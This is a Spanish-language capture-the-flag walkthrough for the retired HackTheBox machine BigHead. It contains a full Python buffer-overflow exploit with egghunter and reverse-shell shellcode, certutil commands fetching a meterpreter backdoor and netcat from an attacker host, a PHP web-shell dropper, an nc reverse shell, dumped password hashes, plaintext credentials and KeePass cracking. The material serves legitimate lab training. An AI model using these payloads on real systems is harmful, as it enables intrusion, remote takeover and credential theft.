BigHead —HTB

El usuario 3mrgncr3 a creado una máquina buenísima con una dificultad alta, la cual ya a sido retirada de HackTheBox por este motivo quisimos hacer un WriteUp de esta máquina para los que no alcanzaron a resolverla.

Vamos a empezar ya que es un poco extensa esta máquina. Otra cosas importante es que iremos a lo preciso para no extender mucho el post.

Este es el home del sitio, el cual se trata de un equipo de desarrolladores al parecer, después de esto seguimos como todos a enumerar y a enumerar.

home

MODULO 1 (Enumeración)

Enumeramos los servicios con nmap para ver nuestros posibles vectores de ataque.

nmap -vvv bighead.htb -A -sC -sT

Corremos dirsearch para enumerar los directorios sobre sitio principal, donde encontramos updatecheck que nos redirecciona a code.bighead.htb esto se debe agregar a /etc/hosts para seguir adelante.

python3 dirsearch.py -u http://bighead.htb -e php,txt -w /usr/share/dirb/wordlists/big.txt -t 50

Hacemos lo mismo pero ahora al sub-domino code.bighead.htb y obtenemos textlink donde aquí encontraremos lo necesario.

python3 dirsearch.py -u http://code.bighead.htb -e php,txt -w /usr/share/dirb/wordlists/big.txt -t 50

y por último hacemos la enumeración dentro de testink encontrando un archivo note donde nos hace referencia a un subdominio dev.bighead.htb.

python3 dirsearch.py -u http://code.bighead.htb/testlink/ -e php,txt -w /usr/share/dirb/wordlists/big.txt -t 50

aquí esta la referencia a dev.bighead.htb y unos insultos por el sistema jeje.

Finalmente nuestro archivo hosts quedara con 3 dominios asociados a bighead.

Entonces empezamos con dev.bighead.htb a ver que encontramos. Lo primero que vemos es un hombre tomando un café. Esto podría estar asociado a Hyper Text Coffee Pot Control.

men

Así que probamos coffee como archivo o directorio en la url de dev.*. Como resultado obtenemos un mensaje de error 418. I’m a teapot.

Seguimos validando de que se trata hasta que revisamos el error con una consulta al server.

Link relacionados a este protocolo.

https://stackoverflow.com/questions/24018008/are-there-languages-software-that-implements-http-status-code-418
https://sitesdoneright.com/blog/2013/03/what-is-418-im-a-teapot-status-code-error
https://exceptionnotfound.net/http-418-im-a-teapot-just-a-joke-or-something-more/
https://tools.ietf.org/html/rfc2324

Veremos que nos responde en la cabecera http sobre el error.

mmm… interesante, como resultado tenemos algo relevante a que me refiero con esto, el server de bighead esta con nginx 1.14.0 pero en esta ocasión, al consultar por /coffee obtenemos un server BigheadWebSrv 1.0 que esta corriendo para esa consulta.

Server: */teapot nginx/1.14.0
Server: */coffee -> BigheadWebSrv 1.0

Lo siguiente sera buscar este servidor si existe en algún lugar. Si lo pudimos encontrar en la web y por suerte en el github del usuario creador jeje.

Ahora este binario tiene algunas mejoras ya que se había encontrado una vulnerabilidad de desbordamiento pero para nuestra suerte el server que corría no estaba parchado así que descargamos el backup (no parchado) del server y no el actualizado.

Donwload: https://github.com/3mrgnc3/BigheadWebSvr/blob/b1b4d6ed5f2298bc243cd56cab77cd6fb4e48c3d/BHWS_Backup.zip

Ya descargado empezamos a trabajar con este binario pero antes este archivo *.zip tenia una password pero era de esperar (pass: bighead). Bueno ya solucionado este pequeño problema tendriamos estos archivos.

Ahora ejecutamos este server para ver como se comporta y como funciona internamente pero nos arroja el siguiente errror (no se si a los demas le arrojo esto), asi que busque lo que faltaba y ya lo ponemos en ejecución.

Hasta aqui terminamos con la enumeración de lo que es el server web y todos los caminos posibles que no llevaban a ningun lugar.


MODULO 2 (Exploit)

Aqui seguiremos con el analisis del binario y ver porque es vulnerable y como logramos hacer el exploit, esto tambien sera algpo resumido ya que falta bastante.

Esto seria la funcion main() donde en verde esta la rutina que nos lleva a provocar el desbordamiento.

Ya dentro de la funcion coloreada en verde tenemos lo siguiente.

Aca podemos ver que se deben cumplir siertas condiciones (nada complicado) para llegar a una CALL que se realiza a una funcion vulnerable() donde dentro vemos que existe un strcpy() con un buffer de 32 bytes pequeño como un hunter jeje.

Ahora explico las condiciones que se deben cumplir para provocar el desbordamiento.

  • se debe enviar una peticion con un tamaño de byte menor o igual a 219.
  • la petición debe contener el método HEAD.
  • luego entra en un ciclo while() donde va tomando por vuelta 2 byte por vuelta y los enviá a la función strtoul() para obtener un valor entero del string.
  • utiliza un memset para ir escribiendo en un buffer cada byte transformado, para luego ser pasado como argumento a la función vulnerable().
  • por ultimo se copia el contenido del buffer seteado a un buffer de 32 bytes , donde ahi desbordamos.

y para dejar esto mas entendible pase a código C++.

Ya que sabemos como producir el error vamos a crear nuestro script en python.

Lo primero es crear un socket el cual envié una petición con los requerimientos necesarios para llevar al vulnerable().

Vemos que después de ejecutar el script podemos pisar el valor de EIP con nuestras A’s.

Lo siguiente es encontrar un salto al stack ya que ahí tenemos la data que controlamos. Para esto utilizamos la bHeadSvr.dll que trae el binario y lo mejor que no hay protección de randomización (ASLR) en la dll.

0x62501317 JMP ESP

Ahora la pregunta porque no debemos poner la dirección con \x o usar struct la respuesta es porque esta con strtoul().

Llegando al stack tenemos pocos bytes para poner una shellcode reversa o lo que sea pero si hay espacio para un cazador. Así que creamos el cazador de huevos y lo agregamos al script y vemos si llegamos a el.

Aquí esta nuestro cazador cargado correctamente.

Ahora nos queda enviar el huevo mas la shellcode y lo enviaremos antes del overflow con el método POST para que se cargue en memoria y luego el cazador llegara a el.

Aqui tenemos nuestro huevo y la shellcode.

Como ya tenemos todo para nuestro exploit necesitamos crear una shellcode y retocar un poco el script. Para esto usaremos msfvenom y también filtraremos unos bytes, esto se puede ver en el script final.

  • Una cosa mas importante es agregar /coffee al método HEAD en el script porque de no ser así el exploit ira a consultar a nginx y no a BigheadWebSrv.

Quedando asi:

import requests
import time
import socket
#Code Exploiting.cl
#TAG W00T
egg=”6681caff0f42526a0258cd2e3c055a74efb8773030748bfaaf75eaaf75e7ffe7"
padding = ‘A’*72
jmp_esp = ‘f0125062’ # jmp esp
payload = padding + jmp_esp + egg
#msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.13 LPORT=80 -f python
buf = “\x77\x30\x30\x74\x77\x30\x30\x74”
buf += “\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64”
buf += “\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28”
buf += “\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c”
buf += “\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52”
buf += “\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1”
buf += “\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49”
buf += “\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01”
buf += “\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75”
buf += “\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b”
buf += “\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24”
buf += “\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a”
buf += “\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77”
buf += “\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8”
buf += “\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b”
buf += “\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68”
buf += “\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x0a”
buf += “\x0e\x0d\x68\x02\x00\x00\x50\x89\xe6\x6a\x10\x56”
buf += “\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c”
buf += “\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5”
buf += “\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6”
buf += “\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01”
buf += “\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56”
buf += “\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f”
buf += “\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08”
buf += “\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6”
buf += “\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0”
buf += “\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5”
host = “dev.bighead.htb”
port = “80”
url = “http://” + host + “:” + port
for i in range(5):
 print “Req “+ str(i)
 requests.post(url , data=buf)
 time.sleep(1)
print “EggHunter\n”
req = “HEAD /”+ payload +” HTTP/1.1\r\n”
req+= “Host: dev.bighead.htb:80\r\n\r\n”
con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
con.connect((“10.10.10.112”, 80))
con.send(req)
con.recv(1024)
con.close()

Ya ejecutamos y tenemos nuestra shell reversa y a seguir por mas…


MODULO 3 (Post Explotación)

Como ya tenemos shell utilizaremos certutil para subir un meterpreter en un directorio con permisos de escritura que esta en nelson.

Creamos: msfvenom -a x86 — platform Windows -p windows/meterpreter/reverse_tcp lhost=MI-IP lport=9001 -f exe > backdoor.exe
python -m SimpleHTTPServer 8081
Upload Meterpreter: certutil -urlcache -split -f http://MI-IP:8081/backdoor.exe C:\Users\Nelson\AppData\Local\Temp\backdoor.exe
Ejecutamos: C:\Users\Nelson\AppData\Local\Temp\backdoor.exe

Ya tenemos el meterpreter de vuelta a si que seguimos adelante.

El siguiente paso sera enumerar y enumerar pero sera un post de 1000 hojas asi que suponemos que ya encontramos el archivo ubicado en C:\Windows\System32\nginx.reg.

type C:\Windows\System32\nginx.reg o con reg query “HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\nginx”

Desde este archivo obtenemos una password en hexa una es un troleo y otra la cual la real solo hay que quitar los “00” y las “,” facil verdad.

User: nginx
Password: H73BpUY2Uq9U-Yugyt5FYUbY0-U87t87

Ahora usando el comando netstat -an vemos si hay servicio ejecutándose o algún puerto.

Podemos subir un netcat para ver el banner del servicio.

Upload: certutil -urlcache -split -f http://MI-IP:8081/nc.exe C:\Users\Nelson\AppData\Local\Temp\nc.exe

Por ultimo subimos el plink.exe para generar una conexión al servicio ssh y poder leer archivos y directorios con el permiso de nginx.

Upload: certutil -urlcache -split -f http://MI-IP:8081/plink.exe C:\Users\Nelson\AppData\Local\Temp\plink.exe

Comando para la conexion y listado de directorio.

plink.exe -pw H73BpUY2Uq9U-Yugyt5FYUbY0-U87t87 nginx@127.0.0.1 -P 2020 dir

Despues de un buen rato de enumeracion llegamos al archivo linkto.php, donde se puede abrir mediante el browser mostrando un error de require_once() al no encontrar una ruta.

plink.exe -pw H73BpUY2Uq9U-Yugyt5FYUbY0-U87t87 nginx@127.0.0.1 -P 2020 cat apps/testlink/htdocs/linkto.php

Descargamos el archivo linkto.php y buscamos el original para comparar las modificaciones y nos damos cuenta que existe una llamada a un archivo en la linea 62 que no existe, de manera que nos podemos aprovechar de esto para cargar un archivo arbitrario ya tenemos una vulnerabilidad de LFI por POST.

Ahora podemos hacer lectura de cualquier archivo pero lo que necesitamos es ejecutar código por eso intentaremos mediante un ataque RFI cargar una shell en el servidor.

POST: PiperID&PiperCoinID=c:\users\nginx\desktop\user.txt

Creamos un archivo con el siguiente contenido y lo subimos a nelson para luego llamarlo desde el nginx (LFI).

El archivo shell.txt creara un archivo llamado pwnd.php con el contenido pasado con echo.

Shell.txt

<?php
 shell_exec(‘echo ^<?php $a=$_GET[“cmd”];$b=shell_exec($a);echo “<pre>$b</pre>”;^ >> pwnd.php’);
 ?>

Subimos el archivo y lo ejecutamos para tener luego una shell mas comoda como (nt authority\system), con ese usuarios ahora solo falta la shell dinamica.

Upload: certutil -urlcache -split -f http://MI-IP:8081/shell.txt C:\Users\Nelson\AppData\Local\Temp\shell.txt
POST: PiperID&PiperCoinID=C:\Users\Nelson\AppData\Local\Temp\shell.txt

Como ya tenemos el netcat en el servidor nos toca sacarle provecho para generar la shell reverse dinámica.

http://code.bighead.htb/testlink/pwnd.php?cmd=C:\Users\Nelson\AppData\Local\Temp\nc.exe MI-IP 1317 -e cmd.exe

Si quisiéramos jugar un poco mas podríamos obtener los hash usando mimikatz, etc.

Gilfoyle:500:aad3b435b51404eeaad3b435b51404ee:9216302ed9e7d9f717156ec796aeb69a:::
 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
 Nelson:1002:aad3b435b51404eeaad3b435b51404ee:9de26a8b86512e11228e8ab1c7955dec:::
 nginx:1000:aad3b435b51404eeaad3b435b51404ee:639c9d1b2c2afc36e5009c6f1c65cefd:::
[0] { Gilfoyle ; PIEDPIPER ; h@ck7h380x-3mrgnc3 }
[1] { nginx ; PIEDPIPER ; H73BpUY2Uq9U-Yugyt5FYUbY0-U87t87 }

Bueno para explicar rápidamente como va la elevación de privilegios es por keepass y Alternate data streams — ADS de NTFS.

Necesitamos 3 cosas:

1- Una DB para cargar en keepass

2- La llave para poder leer la DB

3- Crackear la password de la DB

Existe un archivo KeePass.config.xml el cual tiene las rutas de lo que necesitamos.

C:\Users\Administrator\AppData\Roaming\KeePass>type KeePass.config.xml
1 Vamos por la DB

Esta se encuentra en C:\Users\Administrator\Desktop\ como archivo oculto.

Con el siguiente comando vemos los archivos ocultos y de tipo ADS que contengas un archivo añadido.

dir /a /r C:\Users\Administrator\Desktop

Extreaemos el archivo adjunto a root.txt el cual es la DB que necesitamos.

Copiamos el archivo root.ext a htdocs para luego descargar con wget.

copy root.ext C:\xampp\apps\testlink\htdocs\
wget http://code.bighead.htb/testlink/root.ext
2 Vamos por la key

Esta se encuentra en C:\Users\Administrator\Pictures como admin.png tambien la enviamos a htdocs para descargar.

Ya tenemos la DB root.ext que la renombramos a root.kdb y tenemos la key admin.png que la renombramos a root.key, ahora solo nos falta la password de la DB así que aplicaremos técnica de fuerza bruta.

3 Vamos por la password

Proceso y ambiente para el crackeo de la base de datos *.kdbx

Resultados:
[*] decryption successful with password darkness

El siguiente paso y final es instalar KeePass en Windows o Linux y ejecutamos el siguiente comando con toda la informacion.

“C:\Program Files (x86)\KeePass Password Safe 2\KeePass.exe” root.kdbx -pw:darkness -keyfile:root.key

Hash User:
 5f158aa80cb516ee94a…

Hash Root:
 436b83bdcb7cd235172…

www.exploiting.cl